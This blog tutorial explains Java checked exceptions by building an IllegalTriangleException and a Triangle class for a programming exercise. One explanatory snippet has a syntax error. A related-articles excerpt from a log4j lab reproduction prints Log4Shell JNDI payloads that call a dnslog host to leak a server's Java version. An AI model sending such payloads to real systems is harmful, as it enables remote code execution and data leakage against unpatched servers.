Java-异常处理-定义三角形类Triangle和异常三角形IllegalTriangleException类 (1/2)

任意一个三角形,其任意两边之和大于第三边。当三角形的三条边不满足前述条件时,就表示发生了异常,将这种异常情况定义为IllegalTriangleException类。

自定义异常类IllegalTriangleException:

  1. 当三角形的三条边不满足条件:“任意一个三角形,其任意两边之和大于第三边”时,就抛出该类型的异常对象。IllegalTriangleException是一个非运行时异常。

  2. 为IllegalTriangleException类定义带一个字符串参数的构造器,该参数表示异常对象的异常信息(Message)

class IllegalTriangleException ………… {
//定义一个构造器,带一个字符串参数,字符串表示异常信息
}

定义三角形类Triangle:

三角形类定义要求如下:

  1. 三个私有成员变量,side1、side2、side3,分别表示三角形的三条边;
  2. 一个带三个参数的构造器,用传入的三个参数初始化三角形的三条边,如果出现两条边之和小于等于第三边,则抛出 IllegalTriangleException异常对象,异常对象中包含异常信息:“无法创建三角形,三角形的两边之和要大于第三边”,并在构造器的声明中要声明抛出 IllegalTriangleException类
  3. 定义一个成员方法:double getPerimeter(),该方法返回三角形的周长。
class Triangle {
}

测试程序Main类:

import java.util.Scanner;
public class Main {public static void main(String[] args) {try {Scanner scanner = new Scanner(System.in);double side1 = scanner.nextDouble();double side2 = scanner.nextDouble();double side3 = scanner.nextDouble();Triangle triangle = new Triangle(side1,side2,side3);System.out.println("三角形的周长是:"+triangle.getPerimeter());} catch (IllegalTriangleException e) {System.out.println(e.getMessage());}}
}

输入样例:

在这里给出一组输入。例如:

1 3 9

 我们据需求来学习异常:这道题我们看下来,有俩个疑问

  1. JAVA中的异常是什么
  2. 异常怎么使用

先进行知识的补充,再来解决问题

JAVA中的异常是什么

异常,白话就是不正常。JAVA中的异常,就是换了个语境,指代码中的异常。代码产生的异常莫非有两种:一种是在编译阶段,jvm分析出来的可能产生的异常:常见的就是代码逻辑上的;还有一种是运行时产生的错误,比如要求输入整数,用户却输入abcd,堆栈溢出...

总结来说:一动一静。

众所周知,Java里面“万物皆可对象”。Java为了体现异常这块儿,也专门做了一个异常类。

这动起来的,就是RuntimeException(运行时异常)。咱们就图可以看到a,大胆推测:这受检查异常就是咱们说的静

其实实际上,确实也是。运行时异常又叫Unchecked Exception(非受检异常)正好和 受检查异常相对。把前面的修饰去掉(不管你受不受检查),就是它们共同的父类,Exception。不知道,屏幕前的小伙伴是否会想到抽象与具体,继承...

至于Runtime异常下面的分支我们在此省略,看看就行了。以后有的是机会碰上。

再看左边的Error,中文就是错误。这种异常,咱们可以说是Bug了,碰上了直接改就行。

Error和Exception它们共同的父类,Throwable,——可抛出的?

为什么要叫可抛出的?根据这父类取名叫可抛出的,咱们就知道这些异常包括Error的共同特点就是可抛出的。那我们到底在抛什么,怎么抛的?

殊不知,这些问题就是通往异常大门的关键。

异常类:

我们这里先看Exception类。说起类,难免心头涌上大明湖畔的类的三部曲:导包,实例化,专有操作。

API文档里,白纸蓝字写着:“lang包”,这就意味着它就是自带的,我们不需要导

我们要写一个异常类,不是名字带上Exception就是一个异常类了。咱们的类必须有那个血统——没错就是继承。

继承Exception类。 而间接父类我们可以看到在继承链上的顶端(我们这里说异常),就是Throwable。Throwable有两个重要的属性——message,cause

有了属性,一般都会有相应的带参数的构造器 

message就是对异常的描述,cause就是异常产生的原因

举个场景就懂了:小明吃坏了东西,拉肚子。

这里小明的身体产生了异常,message就是小明拉肚子,cause就是吃坏了东西。

我们写的类也会同样继承间接父类的属性和方法。这俩属性在咱们异常类构造器里就派上了用场

class IllException extends Exception()
{public IllException(String message,Throwable cause){super(message,cause);//继承过来的是私有属性,调用父类的公开构造器方法来进行访问和赋值属性}}

 我们在定义异常类里面,该继承的都继承了,交代了异常的具体情况(message),有时也会需要异常产生的原因(cause)。

就比如这儿,异常类里面需要一个产生异常的字符串,那就是message

那么,这个异常类我们就可以写出来了:

class IllegalTriangleException extends Exception//只有继承Exception才算一个真正的异常类
{public IllegalTriangleException(String message){super(message);//构造器,带参数,这个构造方法来源于间接父类Throwable}
}

接下来,我们就要看看到底哪里会用上我们的异常类。

 异常怎么使用

 就这道题而言,我们分析题目。就很明显,

读完这段话,什么最关键?

抛出IllegalTriangleException异常对象。

懂了,异常就是拿来抛的。

抛的就是实例化的类,怎么抛?

抛出语句 

  1. 先实例化
  2. 抛——throw 对象
  3. 写抛出声明

 咱们根据题目来说

   if(任意俩边之和小于等于第三边){IllegalTriangleException e = new IllegalTriangleException("无法创建三角形,三角形的两边之和要大于第三边");//实例化异常类,就是new一个对象,注意构造器里是否有参数throw e;//这里抛出了异常,可见这是个可抛异常方法}

既然是个可抛异常方法,编译器要求我们要在方法后写上throws 某某个异常类

比如这里:构造器,“构造器怎么不算方法呢?”

public Triangle(double side1,double side2,double side3) throws IllegalTriangleException
{
//...}

那这道题关于异常的部分不就都写出来了?

class IllegalTriangleException extends Exception//只有继承Exception才算一个真正的异常类
{public IllegalTriangleException(String message){super(message);//构造器,带参数,这个构造方法来源于间接父类Throwable}}

 

class Triangle
{double side1;double side2;double side3;//一般有成员变量,必写带参数的构造器public Triangle(double side1,double side2,double side3) throws IllegalTriangleException{this.side1 = side1;this.side2 = side2;this.side3 = side3;if(side1 + side2 <= side3 || side2 + side3 <= side1 || side1 + side3 <= side2){IllegalTriangleException e = new IllegalTriangleException("无法创建三角形,三角形的两边之和要大于第三边");throw e;//这里抛出了异常,可见这是个可抛异常方法}}public double getPerimeter(){return side1 + side2 + side3;}
}

异常的应对

异常被抛出后,谁会接过来?

就是调用这个方法的方法,就好比这道题,可抛异常的三角形构造器被main方法调用,异常就被main接过来。main有两种选择:一个是接着抛,一个是应对处理异常。如果继续抛,说明Main方法也是个可抛异常的方法,接着使用

其实三角形构造器面对自己产生的异常也有两种选择,不过这里题目上要求了只让我们抛出去。

可见,异常有两种用法:1.抛 2.捕获

那么,前面的四个问题就是浓缩这一章的内容:

  1. JAVA中的异常是什么 - 也是个类
  2. 异常怎么使用 - 抛 / 捕获
  3. 抛什么  - 实例化的异常类
  4. 怎么抛的   - 抛出语句

接着,我们就来看看异常的捕获,以及什么时候选择抛,什么时候选择直接处理异常 

Java-异常处理-处理RuntimeException(2/2)-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/318143.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unreal 编辑器工具 批量重命名资源

右键 - Editor Utilities - Editor Utility Blueprint&#xff0c;基类选择 Asset Action Utility 在类默认值内&#xff0c;可以添加筛选器&#xff0c;筛选指定的类型 然后新建一个函数&#xff0c;加上4个输入&#xff1a;ReplaceFrom&#xff0c;ReplaceTo&#xff0c;Add…

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

使用unreal engine5.3.2创建c++第一人称游戏

UE5系列文章目录 文章目录 UE5系列文章目录前言一、NuGet 简介二、解决方法&#xff1a; 前言 为了使用unreal engine5.3.2创建c第一人称游戏&#xff0c;今天安装了Visual Studio 2022专业版。在ue5中创建c工程&#xff0c;结果编译器报错&#xff1a; 严重性 代码 说明 项目…

酒水门店私域流量运营搭建执行规划方案

【干货资料持续更新&#xff0c;以防走丢】 酒水门店私域流量运营搭建执行规划方案 部分资料预览 资料部分是网络整理&#xff0c;仅供学习参考。 PPT可编辑&#xff08;完整资料包含以下内容&#xff09; 目录 精酿啤酒品牌私域执行运营的内容策划&#xff0c;涉及以下几个…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

【跟马少平老师学AI】-【神经网络是怎么实现的】(六)过拟合问题

一句话归纳&#xff1a; 1&#xff09;过拟合问题&#xff1a; 图中的点为样本直线欠拟合曲线2过拟合 2&#xff09;迭代次数与拟合情况&#xff1a; 训练次数过多可能导致过拟合。 3&#xff09;正则化项法弱化过拟后问题&#xff1a; 加正则项&#xff0c;在最小化损失函数时…

Github 2024-05-02 Go开源项目日报 Top10

根据Github Trendings的统计,今日(2024-05-02统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目10PureBasic项目1Kubernetes: 容器化应用程序管理系统 创建周期:3618 天开发语言:Go协议类型:Apache License 2.0Star数量:106913 个…

Ubuntu安装Neo4j

Ubuntu&#xff08;在线版&#xff09; 更新软件源 sudo apt-get update 添加Neo4j官方存储库 wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add - 将地址添加到系统的软件包源列表中 echo deb https://debian.neo4j.com stable latest | su…

stm32单片机开发三、DMA

DMA其实就是一种将ADC的数据寄存器、串口的数据寄存器等等一些数据放到sram中特定位置&#xff0c;方便CPU去读取 比如ADC转换&#xff0c;DMA直接转换的ADC的值放在内存中的特定位置&#xff0c;CPU可以直接去读取 uint16_t AD_Value[4]; //定义用于存放AD转换结果的全局…

C语言/数据结构——每日一题(反转链表)

一.前言 大家好&#xff01;今天又是每日一题环节。今天我为大家分享了一道单链表题——反转链表。 废话不多说&#xff0c;让我们直接进入正题吧。 二.正文 1.1题目信息 这是一道leetCode上面的一道题&#xff1a;https://leetcode.cn/problems/reverse-linked-list 1.2解…

ios CI/CD 持续集成 组件化专题五-(自动发布私有库-组件化搭建)

一&#xff1a;手动发布私有库总结 手动发布pod私有库&#xff0c;需要进行如下几步操作&#xff1a; 1、修改完代码之后&#xff0c;需要提交代码push到git仓库。 2、给代码打tag。 3、修改podspec文件的version值&#xff0c;使其和设置的tag一直。 4、命令行执行pod repo…

用js代码实现贪吃蛇小游戏

js已经学了大部分了&#xff0c;现在就利用我所学的js知识试试做贪吃蛇小游戏吧 以下部分相关图片以及思路笔记均出自渡一陈老师的视频 首先制作简单的静态页面&#xff0c;添加贪吃蛇移动的背景和相关图片&#xff0c;比如开始游戏等等 将各个功能均封装在函数中&#xff0…

毫米波雷达多人呼吸心跳检测MATLAB仿真

本文基于TI的IWR1642毫米波雷达 2T4R MIMO阵列&#xff0c;通过实际采集数据算法仿真&#xff0c;实现多人呼吸心跳检测。 文章末尾给出了本文的仿真代码。 主要内容包含&#xff1a; &#xff08;1&#xff09;雷达参数设定 &#xff08;2&#xff09;ADC数据导入 &#xff08…

rocketmq dashboard控制台中topic状态无法展示

现象 在使用rocketmq控制台查看topic状态和订阅状态时&#xff0c;出现错误和没有信息的情况。 原因 rocketmq控制台版本问题&#xff0c;最新版本为1.0.1&#xff0c;支持rocketmq5版本&#xff0c;如果使用rocketmq4版本的服务无法兼容对应的数据。同理1.0.0版本也无法兼容ro…

AI图书推荐:用ChatGPT快速创建在线课程

您是否是您领域的专家&#xff0c;拥有丰富的知识和技能可以分享&#xff1f;您是否曾想过创建一个在线课程&#xff0c;但被这个过程吓倒了&#xff1f;那么&#xff0c;是时候把这些担忧放在一边&#xff0c;迈出这一步了&#xff01;有了这本指南和ChatGPT的帮助&#xff0c…

【前端】-【防止接口重复请求】

文章目录 需求实现方案方案一方案二方案三 需求 对整个的项目都做一下接口防止重复请求的处理 实现方案 方案一 思路&#xff1a;通过使用axios拦截器&#xff0c;在请求拦截器中开启全屏Loading&#xff0c;然后在响应拦截器中将Loading关闭。 代码&#xff1a; 问题&…

Scala应用 —— JDBC的创建

文章目录 Scala应用 —— JDBC的创建前言一、JDBC的创建过程1.初始化连接1.1 配置驱动1.2 创建连接对象 2. 初始化执行器2.1 创建执行器对象2.2 初始化执行器参数 3. 执行操作并返回结果 二、Scala JDBC的基本设计思路1. 操作步骤设计2. 解决结果差异化3.实现jdbc方法并输出结果…

WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析

在浏览器中渲染大尺寸 3D 模型&#xff1a;Speckle 处理空间抖动的方法 WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析 注: 相机空间和视图空间 概念等效混用 1、实现的关键代码 const material new THREE.RawShaderMaterial({uniforms: {cameraPostion: {…

《十二》Qt各种对话框之FileDialog文件对话框及QMessageBox 消息对话框

QFileDialog 对话框 选择打开一个文件 若要打开一个文件&#xff0c;可调用静态函数 QFileDialog::getOpenFileName()&#xff0c;“打开一个文件”按钮的响应代码如下&#xff1a; void Dialog::on_btnOpen_clicked() { //选择单个文件QString curPathQDir::currentPath()…

React | React.cloneElement 的使用

我看到同事的代码里有 cloneElement&#xff0c;于是去了解了一下这个函数。 就跟它的名字一样&#xff0c;克隆元素&#xff0c;可以基于一个元素创建一个新的元素&#xff0c;并且为新元素添加新的属性或者覆盖已有的属性。 下面是一个简单例子&#xff1a; .node1 {backg…